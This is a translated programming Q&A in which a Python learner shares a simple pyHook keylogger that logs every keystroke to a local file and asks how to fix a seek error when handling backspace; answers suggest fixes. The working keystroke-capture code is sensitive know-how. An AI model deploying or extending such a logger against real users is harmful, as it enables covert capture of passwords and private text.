2017-01-20 48 views
1

由於我目前正在學習Python,因此我偶然發現了一段有趣的YouTube視頻,展示瞭如何構建一個簡單的Python鍵盤記錄。我決定稍微修改它,並使其能夠在用戶按下退格鍵時刪除最後一個字符,所以我添加了一個if語句和seek和truncate方法。當按下退格鍵(Python)時,鍵盤記錄引發錯誤

import pyHook, pythoncom, os 

file_log = "D:/Python Projects/log.txt" 


def OnKeyboardEvent(event): 
    global keylog 
    keylog = chr(event.Ascii) 
    with open(file_log, "a") as fl: 
     if event.Ascii == 13: 
      fl.write("\n") 
     elif event.Ascii == 8: 
      fl.seek(-1, os.SEEK_END) 
      fl.truncate() 
     else: 
      fl.write(keylog) 
     fl.close() 
    return True 

hooking = pyHook.HookManager() 
hooking.KeyDown = OnKeyboardEvent 
hooking.HookKeyboard() 
pythoncom.PumpMessages() 

然而,當我嘗試運行代碼,並在退格鍵被按下時,我收到以下錯誤:

io.UnsupportedOperation: can't do nonzero end-relative seeks 

因此,誰能幫助我? 此外,現在鍵盤記錄器將每個字符存儲爲大寫字母。有沒有一種方法可以修改腳本來識別角色是低位還是高位字母,並以這種方式進行存儲?

+0

看起來你遇到了[這個其他問題]中描述的問題(https://stackoverflow.com/questions/21533391/seeking-from-end-of-file-throwing-unsupported-exception)。 –

+0

你不應該讓你的'keylog'全局變量。這沒有理由。 – blubberdiblub

回答

-1

試試這個:

if event.Ascii == 8: 
    while event.Ascii == 8 and os.stat(file_log).st_size >= 1: 
     f = open(file_log,'r+') 
     f.seek(-1,2) 
     f.truncate() 
     break 
    else: 
     pass 

感謝爲彌敦道指出多餘的代碼,當有一個空文件按下退格鍵時引發的錯誤。我添加了必要的更改。謝謝大家!

+0

錯誤「seek」後'f.read(0)'如何幫助什麼? –

+0

它不,你說得對。我想,以前的努力只剩下了。好的趕上!謝謝! – MiggyDaMic